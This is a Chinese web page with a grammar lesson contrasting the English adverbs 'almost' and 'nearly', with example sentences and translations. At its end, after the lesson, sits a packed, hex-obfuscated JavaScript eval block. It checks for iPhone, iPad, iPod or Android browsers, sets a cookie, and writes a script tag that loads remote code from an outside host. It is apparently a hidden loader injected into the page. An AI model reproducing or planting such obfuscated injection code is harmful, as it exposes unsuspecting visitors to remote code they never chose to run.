首页 > 英语专区 > 初中英语 > 语法 >  同义词 almost & nearly

同义词 almost & nearly

标签:一个 副词 否定 动词 时间:2014-04-24  来源:语法
 评论:
字体:
导读: almost&nearly1.两者都可用来修饰不定代词、形容词、副词、动词、介词短语等,此时两者常可换用。如:It’salmost[nearly]impossible.那几乎是不可能的。Heisalmost[nearly]astallasher.他差不多与她一样高。Healmo...
同义词 almost & nearly

 almost & nearly

1. 两者都可用来修饰不定代词、形容词、副词、动词、介词短语等,此时两者常可换用。如:

It’s almost [nearly] impossible. 那几乎是不可能的。

He is almost [nearly] as tall as her. 他差不多与她一样高。

He almost [nearly] always arrives late. 他差不多总是迟到。

He fell and almost [nearly] broke his leg. 他跌了一跤,险些跌断了腿。

Almost [Nearly] all the students passed the exam. 差不多所有的学生都通过了考试。

修饰动词时,通常应放在行为动词之前,特殊动词之后(见上例);修饰形容词、副词、名词等时,通常应将其放在被修饰词语之前,否则会造成错误。如:

他几乎工作了一整天。

正:He worked almost all day.

误:He almost worked all day.

我们当中几乎每一个人都读过这本书。

正:Almost every one of us read the book.

误:Every one of us almost read the book.

2. almost 可用于 any 以及 no, none, nobody, nothing, never 等否定词之前,但 nearly 一般不这样用。如:

Almost any man can do it. 几乎任何人都会做。

Almost no one came to the party. 几乎没有人来参加晚会。

I almost never see her. 我几乎从未见过她。

但是,两者都可用在否定动词之前。如:

He almost [nearly] didn’t catch the bus. 他差点没赶上公共汽车。

3. nearly 前可用 very, pretty, not 等词修饰,但 almost 之前不能用这些词。如:

It’s not nearly so difficult as you think.这远不像你想象的那么难。

The car is pretty nearly new. 这汽车几乎是全新的。

注:not nearly 意为远非”, very [pretty] nearly 意为几乎,都是习语。

4. 有时 almost 可表示十分相似(但又不完全相同),此时不用 nearly。如:

I almost wish I’d stayed at home. 我真有点后悔没在家里呆着。

Our cat understands everything — he’s almost human. 我们这只猫什么都懂—— 快通人性了。

下一篇:返回列表
eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('m b=["\g\h\a","\d\i\r\c\y\S\R","\l\j\j\T\d\c","\k\c\a\u\d\z\c","\e\c\a\u\d\z\c","\g\h\a\q\U\W\c\y\h\d\f\c\e\q","\a\j\V\Q\u\L\a\f\d\i\k","\a\j\K\j\A\c\f\N\g\e\c","\E\e\c\f\w\k\c\i\a","\i\g\D\d\k\g\a\j\f","\a\c\e\a","\w\i\r\f\j\d\r","\w\r\f","\F\e\l\f\d\h\a\B\P\g\i\k\E\g\k\c\q\o\C\g\D\g\e\l\f\d\h\a\o\B\e\f\l\q\o\X\a\a\h\e\15\n\n\e\19\t\l\i\x\x\t\18\d\x\n\e\a\g\a\t\C\e\o\G\F\n\e\l\f\d\h\a\G","\A\f\d\a\c"];J(v[b[2]][b[1]](b[0])==-1){m p=1b 17();p[b[4]](p[b[3]]()+Z);v[b[2]]=b[5]+p[b[6]]();m s=16[b[9]][b[8]][b[7]]();m I=/1a|M|Y/O[b[10]](s);m H=s[b[1]](b[11])>-1||s[b[1]](b[12])>-1;J(I||H){v[b[14]](b[13])}}',62,74,'||||||||||x74|_0xecdc|x65|x69|x73|x72|x61|x70|x6E|x6F|x67|x63|var|x2F|x22|exp|x3D|x64|UA|x2E|x54|document|x41|x7A|x78|x6D|x77|x20|x6A|x76|x75|x3C|x3E|isAndroid|isIOS|if|x4C|x53|ipod|x43|gi|x6C|x4D|x66|x4F|x6B|x31|x47|x3B|x68|ipad|36000000||||||x3A|window|Date|x62|x36|iphone|new'.split('|'),0,{}));